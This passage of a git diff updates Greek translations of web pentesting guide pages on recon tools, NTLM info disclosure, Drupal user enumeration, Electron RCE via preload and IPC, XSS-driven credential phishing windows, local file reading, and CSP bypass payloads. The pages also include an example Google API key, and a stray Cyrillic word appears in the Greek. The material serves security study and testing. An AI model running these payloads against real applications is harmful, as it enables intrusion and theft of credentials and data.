**βρείτε οποιοδήποτε API key** υπάρχει οδηγός που υποδεικνύει πώς να χρησιμοποιήσετε API keys διαφόρων πλατφορμών: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird). - Google API keys: Αν βρείτε οποιοδήποτε API key που μοιάζει με **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik μπορείτε να χρησιμοποιήσετε το έργο [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) για να ελέγξετε ποιες APIs μπορεί να έχει πρόσβαση το key. -- **S3 Buckets**: Κατά τη διάρκεια του spidering ελέγξτε αν οποιοδήποτε **subdomain** ή οποιοδήποτε **link** σχετίζεται με κάποιο **S3 bucket**. Σε αυτή την περίπτωση, [**ελέγξτε** τις **άδειες** του bucket](buckets/index.html). +- **S3 Buckets**: Κατά τη διάρκεια του spidering, ελέγξτε αν οποιοδήποτε **subdomain** ή οποιοσδήποτε **σύνδεσμος** σχετίζεται με κάποιο **S3 bucket**. Σε αυτή την περίπτωση, [**ελέγξτε** τις **άδειες** του bucket](buckets/index.html). ### Ειδικές ανακαλύψεις @@ -289,8 +291,8 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται **Ενδιαφέροντα αρχεία** - Αναζητήστε **συνδέσμους** σε άλλα αρχεία μέσα στα **CSS** αρχεία. -- [Αν βρείτε ένα _**.git**_ αρχείο μπορεί να εξαχθεί κάποια πληροφορία](git.md). -- Αν βρείτε ένα _**.env**_ πληροφορίες όπως api keys, κωδικούς βάσεων δεδομένων και άλλες πληροφορίες μπορεί να βρεθούν. +- [Αν βρείτε ένα _**.git**_ αρχείο, μπορεί να εξαχθεί κάποια πληροφορία](git.md). +- Αν βρείτε ένα _**.env**_ πληροφορίες όπως api keys, κωδικούς db και άλλες πληροφορίες μπορεί να βρεθούν. - Αν βρείτε **API endpoints** θα [πρέπει επίσης να τα δοκιμάσετε](web-api-pentesting.md). Αυτά δεν είναι αρχεία, αλλά πιθανότατα θα "μοιάζουν" με αυτά. - **JS αρχεία**: Στην ενότητα spidering αναφέρθηκαν διάφορα εργαλεία που μπορούν να εξάγουν paths από αρχεία JS. Επίσης, θα ήταν ενδιαφέρον να **παρακολουθείτε κάθε JS αρχείο που βρέθηκε**, καθώς σε ορισμένες περιπτώσεις, μια αλλαγή μπορεί να υποδηλώνει ότι μια πιθανή ευπάθεια εισήχθη στον κώδικα. Μπορείτε να χρησιμοποιήσετε για παράδειγμα [**JSMon**](https://github.com/robre/jsmon)**.** - Θα πρέπει επίσης να ελέγξετε τα ανακαλυφθέντα JS αρχεία με [**RetireJS**](https://github.com/retirejs/retire.js/) ή [**JSHole**](https://github.com/callforpapers-source/jshole) για να δείτε αν είναι ευάλωτα. @@ -313,17 +315,17 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται **NTLM Authentication - Info disclosure** -Αν ο τρέχων server ζητάει αυθεντικοποίηση είναι **Windows** ή αν βρείτε μια είσοδο που ζητάει τα **credentials** σας (και ζητάει το **domain** **name**), μπορείτε να προκαλέσετε μια **διαρροή πληροφοριών**.\ +Αν ο τρέχων server που ζητάει αυθεντικοποίηση είναι **Windows** ή αν βρείτε μια είσοδο που ζητάει τα **credentials** σας (και ζητάει το **domain** **name**), μπορείτε να προκαλέσετε μια **διαρροή πληροφοριών**.\ **Στείλτε** την **κεφαλίδα**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` και λόγω του πώς λειτουργεί η **NTLM αυθεντικοποίηση**, ο server θα απαντήσει με εσωτερικές πληροφορίες (έκδοση IIS, έκδοση Windows...) μέσα στην κεφαλίδα "WWW-Authenticate".\ Μπορείτε να **αυτοματοποιήσετε** αυτό χρησιμοποιώντας το **nmap plugin** "_http-ntlm-info.nse_". **HTTP Redirect (CTF)** -Είναι δυνατόν να **τοποθετήσετε περιεχόμενο** μέσα σε μια **Redirection**. Αυτό το περιεχόμενο **δεν θα εμφανιστεί στον χρήστη** (καθώς ο browser θα εκτελέσει την ανακατεύθυνση) αλλά κάτι θα μπορούσε να είναι **κρυμμένο** εκεί. +Είναι δυνατόν να **βάλετε περιεχόμενο** μέσα σε μια **Redirection**. Αυτό το περιεχόμενο **δεν θα εμφανιστεί στον χρήστη** (καθώς ο browser θα εκτελέσει την ανακατεύθυνση) αλλά κάτι θα μπορούσε να είναι **κρυμμένο** εκεί. ### Έλεγχος ευπαθειών Web -Τώρα που έχει γίνει μια εκτενής αρίθμηση της web εφαρμογής είναι καιρός να ελέγξετε για πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε τη λίστα ελέγχου εδώ: +Τώρα που έχει γίνει μια εκτενής αρίθμηση της web εφαρμογής, είναι καιρός να ελέγξετε για πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε τη λίστα ελέγχου εδώ: {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md diff --git a/src/network-services-pentesting/pentesting-web/buckets/README.md b/src/network-services-pentesting/pentesting-web/buckets/README.md index c4c430b97..e2f0c3903 100644 --- a/src/network-services-pentesting/pentesting-web/buckets/README.md +++ b/src/network-services-pentesting/pentesting-web/buckets/README.md @@ -4,6 +4,7 @@ Ελέγξτε αυτή τη σελίδα αν θέλετε να μάθετε περισσότερα για την καταμέτρηση και την κακή χρήση των Κάδων: + {{#ref}} https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.html#aws---s3-unauthenticated-enum {{#endref}} diff --git a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md index b07148d8a..87db2cb43 100644 --- a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md +++ b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md @@ -4,7 +4,7 @@ ## Τι είναι το Firebase -Το Firebase είναι μια Υπηρεσία-ως-Πίσω (Backend-as-a-Service) κυρίως για κινητές εφαρμογές. Επικεντρώνεται στην αφαίρεση του βάρους προγραμματισμού του back-end παρέχοντας ένα ωραίο SDK καθώς και πολλά άλλα ενδιαφέροντα πράγματα που διευκολύνουν την αλληλεπίδραση μεταξύ της εφαρμογής και του back-end. +Το Firebase είναι μια Υπηρεσία-ως-Πίσω (Backend-as-a-Service) κυρίως για κινητές εφαρμογές. Επικεντρώνεται στην αφαίρεση του βάρους προγραμματισμού του πίσω μέρους παρέχοντας ένα ωραίο SDK καθώς και πολλά άλλα ενδιαφέροντα πράγματα που διευκολύνουν την αλληλεπίδραση μεταξύ της εφαρμογής και του πίσω μέρους. Μάθετε περισσότερα για το Firebase στο: diff --git a/src/network-services-pentesting/pentesting-web/drupal/README.md b/src/network-services-pentesting/pentesting-web/drupal/README.md index 9334cdae3..aac1bb59c 100644 --- a/src/network-services-pentesting/pentesting-web/drupal/README.md +++ b/src/network-services-pentesting/pentesting-web/drupal/README.md @@ -3,41 +3,41 @@ {{#include ../../../banners/hacktricks-training.md}} -## Ανακάλυψη +## Discovery -- Ελέγξτε **meta** +- Έλεγχος **meta** ```bash curl https://www.drupal.org/ | grep 'content="Drupal' ``` -- **Node**: Το Drupal **ευρετηριάζει το περιεχόμενό του χρησιμοποιώντας κόμβους**. Ένας κόμβος μπορεί να **κρατά οτιδήποτε** όπως μια ανάρτηση blog, δημοσκόπηση, άρθρο, κ.λπ. Οι διευθύνσεις URI της σελίδας είναι συνήθως της μορφής `/node/`. +- **Node**: Drupal **καταχωρεί το περιεχόμενό του χρησιμοποιώντας κόμβους**. Ένας κόμβος μπορεί να **κρατά οτιδήποτε** όπως μια ανάρτηση blog, δημοσκόπηση, άρθρο, κ.λπ. Οι διευθύνσεις URI της σελίδας είναι συνήθως της μορφής `/node/`. ```bash curl drupal-site.com/node/1 ``` -## Απαρίθμηση +## Enumeration -### Έκδοση +### Version -- Ελέγξτε το `/CHANGELOG.txt` +- Έλεγχος του `/CHANGELOG.txt` ```bash curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 "" Drupal 7.57, 2018-02-21 ``` -> [!NOTE] +> [!TIP] > Οι νεότερες εγκαταστάσεις του Drupal από προεπιλογή αποκλείουν την πρόσβαση στα αρχεία `CHANGELOG.txt` και `README.txt`. ### Αριθμητική χρηστών Το Drupal υποστηρίζει **τρεις τύπους χρηστών** από προεπιλογή: -1. **`Administrator`**: Αυτός ο χρήστης έχει πλήρη έλεγχο πάνω στην ιστοσελίδα Drupal. -2. **`Authenticated User`**: Αυτοί οι χρήστες μπορούν να συνδεθούν στην ιστοσελίδα και να εκτελέσουν ενέργειες όπως η προσθήκη και η επεξεργασία άρθρων με βάση τις άδειές τους. -3. **`Anonymous`**: Όλοι οι επισκέπτες της ιστοσελίδας θεωρούνται ανώνυμοι. Από προεπιλογή, αυτοί οι χρήστες επιτρέπεται μόνο να διαβάζουν αναρτήσεις. +1. **`Διαχειριστής`**: Αυτός ο χρήστης έχει πλήρη έλεγχο πάνω στην ιστοσελίδα Drupal. +2. **`Επικυρωμένος Χρήστης`**: Αυτοί οι χρήστες μπορούν να συνδεθούν στην ιστοσελίδα και να εκτελέσουν ενέργειες όπως η προσθήκη και η επεξεργασία άρθρων με βάση τις άδειές τους. +3. **`Ανώνυμος`**: Όλοι οι επισκέπτες της ιστοσελίδας θεωρούνται ανώνυμοι. Από προεπιλογή, αυτοί οι χρήστες επιτρέπεται μόνο να διαβάζουν αναρτήσεις. **Για να αριθμήσετε τους χρήστες μπορείτε:** -- **Να αποκτήσετε τον αριθμό των χρηστών:** Απλά αποκτήστε πρόσβαση στο `/user/1`, `/user/2`, `/user/3`... μέχρι να επιστραφεί ένα σφάλμα που να υποδεικνύει ότι ο χρήστης δεν υπάρχει. -- **Μητρώο**: Αποκτήστε πρόσβαση στο `/user/register` και προσπαθήστε να δημιουργήσετε ένα όνομα χρήστη και αν το όνομα είναι ήδη κατειλημμένο, θα υποδειχθεί σε ένα σφάλμα από τον διακομιστή. +- **Να αποκτήσετε τον αριθμό των χρηστών:** Απλά αποκτήστε πρόσβαση σε `/user/1`, `/user/2`, `/user/3`... μέχρι να επιστραφεί ένα σφάλμα που να υποδεικνύει ότι ο χρήστης δεν υπάρχει. +- **Μητρώο**: Αποκτήστε πρόσβαση σε `/user/register` και προσπαθήστε να δημιουργήσετε ένα όνομα χρήστη και αν το όνομα είναι ήδη κατειλημμένο, θα υποδειχθεί σε ένα σφάλμα από τον διακομιστή. - **Επαναφορά κωδικού πρόσβασης**: Προσπαθήστε να επαναφέρετε τον κωδικό πρόσβασης ενός χρήστη και αν ο χρήστης δεν υπάρχει, θα υποδειχθεί σαφώς σε ένα μήνυμα σφάλματος. ### Κρυφές σελίδες @@ -54,7 +54,7 @@ curl https://example.com/core/core.services.yml # Download content from files exposed in the previous step curl https://example.com/config/sync/swiftmailer.transport.yml ``` -## Αυτόματα Εργαλεία +## Αυτόματες Εργαλεία ```bash droopescan scan drupal -u http://drupal-site.local ``` diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 2767d9322..d9d672d4b 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -4,7 +4,7 @@ ## Εισαγωγή -Το Electron συνδυάζει ένα τοπικό backend (με **NodeJS**) και ένα frontend (**Chromium**), αν και του λείπουν μερικοί από τους μηχανισμούς ασφαλείας των σύγχρονων προγραμμάτων περιήγησης. +Το Electron συνδυάζει έναν τοπικό backend (με **NodeJS**) και ένα frontend (**Chromium**), αν και του λείπουν ορισμένοι από τους μηχανισμούς ασφαλείας των σύγχρονων προγραμμάτων περιήγησης. Συνήθως μπορείς να βρεις τον κώδικα της εφαρμογής electron μέσα σε μια εφαρμογή `.asar`, προκειμένου να αποκτήσεις τον κώδικα πρέπει να τον εξαγάγεις: ```bash @@ -42,8 +42,8 @@ win.loadURL(`file://path/to/index.html`) - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - είναι απενεργοποιημένο από προεπιλογή. Θα περιορίσει τις ενέργειες που μπορεί να εκτελέσει το NodeJS. - Node Integration σε Workers - **`nodeIntegrationInSubframes`** - είναι `off` από προεπιλογή. -- Αν **`nodeIntegration`** είναι **ενεργοποιημένο**, αυτό θα επιτρέψει τη χρήση των **Node.js APIs** σε ιστοσελίδες που είναι **φορτωμένες σε iframes** μέσα σε μια εφαρμογή Electron. -- Αν **`nodeIntegration`** είναι **απενεργοποιημένο**, τότε τα preload θα φορτωθούν στο iframe. +- Αν η **`nodeIntegration`** είναι **ενεργοποιημένη**, αυτό θα επιτρέψει τη χρήση των **Node.js APIs** σε ιστοσελίδες που είναι **φορτωμένες σε iframes** μέσα σε μια εφαρμογή Electron. +- Αν η **`nodeIntegration`** είναι **απενεργοποιημένη**, τότε τα preload θα φορτωθούν στο iframe. Παράδειγμα ρύθμισης: ```javascript @@ -132,7 +132,7 @@ preload: _path2.default.join(__dirname, 'perload.js'), } }); ``` -Ως εκ τούτου, το σενάριο μπορεί να εξάγει node-features σε σελίδες: +Επομένως, το σενάριο μπορεί να εξάγει node-features σε σελίδες: ```javascript:preload.js typeof require === "function" window.runCalc = function () { @@ -152,16 +152,16 @@ runCalc() ## RCE: XSS + contextIsolation -Το _**contextIsolation**_ εισάγει **χωριστά συμφραζόμενα μεταξύ των σεναρίων της ιστοσελίδας και του εσωτερικού κώδικα JavaScript του Electron** έτσι ώστε η εκτέλεση JavaScript κάθε κώδικα να μην επηρεάζει το άλλο. Αυτή είναι μια απαραίτητη δυνατότητα για την εξάλειψη της πιθανότητας RCE. +Το _**contextIsolation**_ εισάγει **χωριστά συμφραζόμενα μεταξύ των σεναρίων της ιστοσελίδας και του εσωτερικού κώδικα JavaScript του Electron** έτσι ώστε η εκτέλεση JavaScript κάθε κώδικα να μην επηρεάζει η μία την άλλη. Αυτή είναι μια απαραίτητη δυνατότητα για να εξαλειφθεί η πιθανότητα RCE. Αν τα συμφραζόμενα δεν είναι απομονωμένα, ένας επιτιθέμενος μπορεί να: 1. Εκτελέσει **τυχαίο JavaScript στον renderer** (XSS ή πλοήγηση σε εξωτερικές ιστοσελίδες) -2. **Αντικαταστήσει τη встроμένη μέθοδο** που χρησιμοποιείται στον preload ή στον εσωτερικό κώδικα του Electron με τη δική του συνάρτηση -3. **Ενεργοποιήσει** τη χρήση της **αντικατεστημένης συνάρτησης** +2. **Επαναγράψει τη встроμένη μέθοδο** που χρησιμοποιείται στον preload ή στον εσωτερικό κώδικα του Electron σε δική του συνάρτηση +3. **Ενεργοποιήσει** τη χρήση της **επαναγραμμένης συνάρτησης** 4. RCE; -Υπάρχουν 2 μέρη όπου οι встроμένες μέθοδοι μπορούν να αντικατασταθούν: Στον κώδικα preload ή στον εσωτερικό κώδικα του Electron: +Υπάρχουν 2 μέρη όπου οι встроμένες μέθοδοι μπορούν να επαναγραφούν: Στον κώδικα preload ή στον εσωτερικό κώδικα του Electron: {{#ref}} electron-contextisolation-rce-via-preload-code.md @@ -187,12 +187,12 @@ window.addEventListener('click', (e) => { Κατά την ανάπτυξη μιας εφαρμογής Electron desktop, είναι κρίσιμο να διασφαλιστούν οι σωστές ρυθμίσεις για το `nodeIntegration` και το `contextIsolation`. Είναι αποδεκτό ότι η **εκτέλεση απομακρυσμένου κώδικα (RCE)** από την πλευρά του πελάτη που στοχεύει σε preload scripts ή στον εγγενή κώδικα του Electron από τη βασική διαδικασία αποτρέπεται αποτελεσματικά με αυτές τις ρυθμίσεις σε εφαρμογή. -Κατά την αλληλεπίδραση ενός χρήστη με συνδέσμους ή το άνοιγμα νέων παραθύρων, ενεργοποιούνται συγκεκριμένοι ακροατές γεγονότων, οι οποίοι είναι κρίσιμοι για την ασφάλεια και τη λειτουργικότητα της εφαρμογής: +Όταν ένας χρήστης αλληλεπιδρά με συνδέσμους ή ανοίγει νέα παράθυρα, ενεργοποιούνται συγκεκριμένοι ακροατές γεγονότων, οι οποίοι είναι κρίσιμοι για την ασφάλεια και τη λειτουργικότητα της εφαρμογής: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` -Αυτοί οι ακροατές είναι **υπερκαλυμμένοι από την επιτραπέζια εφαρμογή** για να υλοποιήσουν τη δική τους **επιχειρηματική λογική**. Η εφαρμογή αξιολογεί αν ένας πλοηγημένος σύνδεσμος θα πρέπει να ανοιχτεί εσωτερικά ή σε έναν εξωτερικό φυλλομετρητή. Αυτή η απόφαση συνήθως λαμβάνεται μέσω μιας συνάρτησης, `openInternally`. Αν αυτή η συνάρτηση επιστρέψει `false`, υποδεικνύει ότι ο σύνδεσμος θα πρέπει να ανοιχτεί εξωτερικά, χρησιμοποιώντας τη συνάρτηση `shell.openExternal`. +Αυτοί οι ακροατές είναι **υπερκαλυμμένοι από την επιτραπέζια εφαρμογή** για να υλοποιήσουν τη δική τους **λογική επιχειρήσεων**. Η εφαρμογή αξιολογεί αν ένας πλοηγημένος σύνδεσμος θα πρέπει να ανοιχτεί εσωτερικά ή σε έναν εξωτερικό φυλλομετρητή. Αυτή η απόφαση συνήθως λαμβάνεται μέσω μιας συνάρτησης, `openInternally`. Αν αυτή η συνάρτηση επιστρέψει `false`, υποδεικνύει ότι ο σύνδεσμος θα πρέπει να ανοιχτεί εξωτερικά, χρησιμοποιώντας τη συνάρτηση `shell.openExternal`. **Εδώ είναι ένας απλοποιημένος ψευδοκώδικας:** @@ -232,9 +232,9 @@ window.open( ```xml ``` -Ως εκ τούτου, ένας επιτιθέμενος που καταφέρνει να φορτώσει μια αυθαίρετη σελίδα θα μπορούσε να χρησιμοποιήσει αυτή την ετικέτα για να **φορτώσει ένα αυθαίρετο σενάριο προφόρτωσης**. +Ως εκ τούτου, ένας επιτιθέμενος που καταφέρνει να φορτώσει μια αυθαίρετη σελίδα θα μπορούσε να χρησιμοποιήσει αυτή την ετικέτα για να **φορτώσει ένα αυθαίρετο script προφόρτωσης**. -Αυτό το σενάριο προφόρτωσης καταχράστηκε στη συνέχεια για να καλέσει μια **ευάλωτη υπηρεσία IPC (`skype-new-window`)** που καλούσε **`shell.openExternal`** για να αποκτήσει RCE: +Αυτό το script προφόρτωσης καταχράστηκε στη συνέχεια για να καλέσει μια **ευάλωτη υπηρεσία IPC (`skype-new-window`)** που καλούσε **`shell.openExternal`** για να αποκτήσει RCE: ```javascript (async() => { const { ipcRenderer } = require("electron"); @@ -251,7 +251,7 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do ![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>) -Επιπλέον, μια άλλη μέθοδος για **την ανάγνωση ενός εσωτερικού αρχείου** κοινοποιείται, επισημαίνοντας μια κρίσιμη ευπάθεια ανάγνωσης τοπικών αρχείων σε μια εφαρμογή Electron desktop. Αυτό περιλαμβάνει την έγχυση ενός script για να εκμεταλλευτείτε την εφαρμογή και να εξαγάγετε δεδομένα: +Επιπλέον, μια άλλη μέθοδος για **την ανάγνωση ενός εσωτερικού αρχείου** μοιράζεται, επισημαίνοντας μια κρίσιμη ευπάθεια ανάγνωσης τοπικών αρχείων σε μια εφαρμογή Electron desktop. Αυτό περιλαμβάνει την έγχυση ενός script για να εκμεταλλευτείτε την εφαρμογή και να εξαγάγετε δεδομένα: ```html



@@ -281,9 +281,9 @@ frames[0].document.body.innerText webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) ``` -Η κλήση στο **`openInternally`** θα αποφασίσει αν το **link** θα **ανοίξει** στο **παράθυρο επιφάνειας εργασίας** καθώς είναι ένα link που ανήκει στην πλατφόρμα, **ή** αν θα ανοίξει στον **φυλλομετρητή ως πόρος τρίτου μέρους**. +Η κλήση της **`openInternally`** θα αποφασίσει αν το **link** θα **ανοίξει** στο **παράθυρο επιφάνειας εργασίας** καθώς είναι ένα link που ανήκει στην πλατφόρμα, **ή** αν θα ανοίξει στον **φυλλομετρητή ως πόρος τρίτου μέρους**. -Σε περίπτωση που η **regex** που χρησιμοποιείται από τη συνάρτηση είναι **ευάλωτη σε παρακάμψεις** (για παράδειγμα, μη **διαφεύγοντας τα σημεία των υποτομέων**), ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί το XSS για να **ανοίξει ένα νέο παράθυρο το οποίο** θα βρίσκεται στην υποδομή του επιτιθέμενου **ζητώντας διαπιστευτήρια** από τον χρήστη: +Σε περίπτωση που η **regex** που χρησιμοποιείται από τη συνάρτηση είναι **ευάλωτη σε παρακάμψεις** (για παράδειγμα, **μη διαφεύγοντας τα σημεία των υποτομέων**), ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί το XSS για να **ανοίξει ένα νέο παράθυρο το οποίο** θα βρίσκεται στην υποδομή του επιτιθέμενου **ζητώντας διαπιστευτήρια** από τον χρήστη: ```html ` #### self + 'unsafe-inline' μέσω Iframes + {{#ref}} csp-bypass-self-+-unsafe-inline-with-iframes.md {{#endref}} @@ -126,7 +127,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval'; ``` ### strict-dynamic -Αν μπορείτε με κάποιον τρόπο να κάνετε έναν **επιτρεπόμενο κώδικα JS να δημιουργήσει μια νέα ετικέτα script** στο DOM με τον κώδικά σας JS, επειδή μια επιτρεπόμενη script την δημιουργεί, η **νέα ετικέτα script θα επιτρέπεται να εκτελείται**. +Αν μπορείτε με κάποιο τρόπο να κάνετε έναν **επιτρεπόμενο κώδικα JS να δημιουργήσει μια νέα ετικέτα script** στο DOM με τον κώδικά σας JS, επειδή μια επιτρεπόμενη script την δημιουργεί, η **νέα ετικέτα script θα επιτρέπεται να εκτελείται**. ### Wildcard (*) ```yaml @@ -139,7 +140,7 @@ Content-Security-Policy: script-src 'self' https://google.com https: data *; ``` ### Έλλειψη object-src και default-src -> [!CAUTION] > **Φαίνεται ότι αυτό δεν λειτουργεί πλέον** +> [!CAUTION] > **Φαίνεται ότι αυτό δεν λειτουργεί πια** ```yaml Content-Security-Policy: script-src 'self' ; ``` @@ -161,13 +162,13 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ; ``` Ωστόσο, είναι πολύ πιθανό ότι ο διακομιστής **επικυρώνει το ανεβασμένο αρχείο** και θα επιτρέψει μόνο να **ανεβάσετε καθορισμένο τύπο αρχείων**. -Επιπλέον, ακόμη και αν μπορούσατε να ανεβάσετε έναν **κωδικό JS μέσα** σε ένα αρχείο χρησιμοποιώντας μια επέκταση που γίνεται αποδεκτή από τον διακομιστή (όπως: _script.png_), αυτό δεν θα είναι αρκετό γιατί μερικοί διακομιστές όπως ο διακομιστής apache **επιλέγουν τον τύπο MIME του αρχείου με βάση την επέκταση** και οι περιηγητές όπως ο Chrome θα **απορρίψουν την εκτέλεση του κώδικα Javascript** μέσα σε κάτι που θα έπρεπε να είναι εικόνα. "Ελπίζουμε", υπάρχουν λάθη. Για παράδειγμα, από ένα CTF έμαθα ότι **ο Apache δεν γνωρίζει** την _**.wave**_ επέκταση, επομένως δεν την σερβίρει με έναν **τύπο MIME όπως audio/\***. +Επιπλέον, ακόμη και αν μπορούσατε να ανεβάσετε **κώδικα JS μέσα** σε ένα αρχείο χρησιμοποιώντας μια επέκταση που γίνεται αποδεκτή από τον διακομιστή (όπως: _script.png_), αυτό δεν θα είναι αρκετό γιατί μερικοί διακομιστές όπως ο διακομιστής apache **επιλέγουν τον τύπο MIME του αρχείου με βάση την επέκταση** και οι περιηγητές όπως ο Chrome θα **απορρίψουν την εκτέλεση του κώδικα Javascript** μέσα σε κάτι που θα έπρεπε να είναι εικόνα. "Ελπίζουμε", υπάρχουν λάθη. Για παράδειγμα, από ένα CTF έμαθα ότι **ο Apache δεν γνωρίζει** την _**.wave**_ επέκταση, επομένως δεν την σερβίρει με τύπο **MIME όπως audio/\***. -Από εδώ, αν βρείτε ένα XSS και μια δυνατότητα ανέβασμα αρχείου, και καταφέρετε να βρείτε μια **παρερμηνευμένη επέκταση**, θα μπορούσατε να προσπαθήσετε να ανεβάσετε ένα αρχείο με αυτή την επέκταση και το περιεχόμενο του script. Ή, αν ο διακομιστής ελέγχει τη σωστή μορφή του ανεβασμένου αρχείου, δημιουργήστε ένα polyglot ([μερικά παραδείγματα polyglot εδώ](https://github.com/Polydet/polyglot-database)). +Από εδώ, αν βρείτε ένα XSS και μια δυνατότητα ανεβάσματος αρχείου, και καταφέρετε να βρείτε μια **παρερμηνευμένη επέκταση**, θα μπορούσατε να προσπαθήσετε να ανεβάσετε ένα αρχείο με αυτή την επέκταση και το περιεχόμενο του script. Ή, αν ο διακομιστής ελέγχει τη σωστή μορφή του ανεβασμένου αρχείου, δημιουργήστε ένα polyglot ([μερικά παραδείγματα polyglot εδώ](https://github.com/Polydet/polyglot-database)). ### Form-action -Αν δεν είναι δυνατή η έγχυση JS, θα μπορούσατε ακόμα να προσπαθήσετε να εξάγετε για παράδειγμα διαπιστευτήρια **εγχύοντας μια ενέργεια φόρμας** (και ίσως περιμένοντας τους διαχειριστές κωδικών πρόσβασης να συμπληρώσουν αυτόματα τους κωδικούς). Μπορείτε να βρείτε ένα [**παράδειγμα σε αυτή την αναφορά**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Επίσης, σημειώστε ότι το `default-src` δεν καλύπτει τις ενέργειες φόρμας. +Αν δεν είναι δυνατή η έγχυση JS, θα μπορούσατε να προσπαθήσετε να εξάγετε για παράδειγμα διαπιστευτήρια **εγχύοντας μια ενέργεια φόρμας** (και ίσως περιμένοντας τους διαχειριστές κωδικών πρόσβασης να συμπληρώσουν αυτόματα τους κωδικούς). Μπορείτε να βρείτε ένα [**παράδειγμα σε αυτή την αναφορά**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Επίσης, σημειώστε ότι το `default-src` δεν καλύπτει τις ενέργειες φόρμας. ### Third Party Endpoints + ('unsafe-eval') @@ -199,7 +200,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a ``` #### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)): -> [!NOTE] +> [!TIP] > Η ανάρτηση δείχνει ότι μπορείτε να **φορτώσετε** όλες τις **βιβλιοθήκες** από `cdn.cloudflare.com` (ή οποιοδήποτε άλλο επιτρεπόμενο αποθετήριο βιβλιοθηκών JS), να εκτελέσετε όλες τις προστιθέμενες συναρτήσεις από κάθε βιβλιοθήκη και να ελέγξετε **ποιες συναρτήσεις από ποιες βιβλιοθήκες επιστρέφουν το αντικείμενο `window`**. ```html @@ -232,7 +233,7 @@ Angular XSS από ένα όνομα κλάσης: ``` #### Κατάχρηση του κώδικα JS του google recaptcha -Σύμφωνα με [**αυτή την αναφορά CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), μπορείτε να καταχραστείτε [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) μέσα σε ένα CSP για να εκτελέσετε αυθαίρετο κώδικα JS παρακάμπτοντας το CSP: +Σύμφωνα με [**αυτή την αναφορά CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), μπορείτε να καταχραστείτε [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) μέσα σε μια CSP για να εκτελέσετε αυθαίρετο κώδικα JS παρακάμπτοντας την CSP: ```html
"> @@ -284,16 +285,20 @@ Content-Security-Policy: script-src 'self' https://www.google.com https://www.yo https://www.youtube.com/oembed?callback=alert; ``` + +```html + +``` [**JSONBee**](https://github.com/zigoo0/JSONBee) **περιέχει έτοιμα προς χρήση JSONP endpoints για CSP bypass διαφόρων ιστοσελίδων.** Η ίδια ευπάθεια θα συμβεί αν το **έμπιστο endpoint περιέχει ένα Open Redirect** γιατί αν το αρχικό endpoint είναι έμπιστο, οι ανακατευθύνσεις είναι έμπιστες. ### Καταχρήσεις Τρίτων -Όπως περιγράφεται στην [παρακάτω ανάρτηση](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), υπάρχουν πολλές τρίτες τομείς, που μπορεί να επιτρέπονται κάπου στο CSP, μπορούν να καταχρηστούν για να εξάγουν δεδομένα ή να εκτελέσουν κώδικα JavaScript. Μερικοί από αυτούς τους τρίτους είναι: +Όπως περιγράφεται στην [παρακάτω ανάρτηση](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), υπάρχουν πολλές τρίτες τομείς, που μπορεί να επιτρέπονται κάπου στο CSP, μπορούν να καταχρηστούν είτε για να εξάγουν δεδομένα είτε για να εκτελέσουν κώδικα JavaScript. Μερικοί από αυτούς τους τρίτους είναι: | Οντότητα | Επιτρεπόμενος Τομέας | Δυνατότητες | -| ----------------- | ---------------------------------------------- | ------------ | +| ----------------- | ---------------------------------------------- | ------------- | | Facebook | www.facebook.com, \*.facebook.com | Exfil | | Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil | | Jsdelivr | \*.jsdelivr.com, 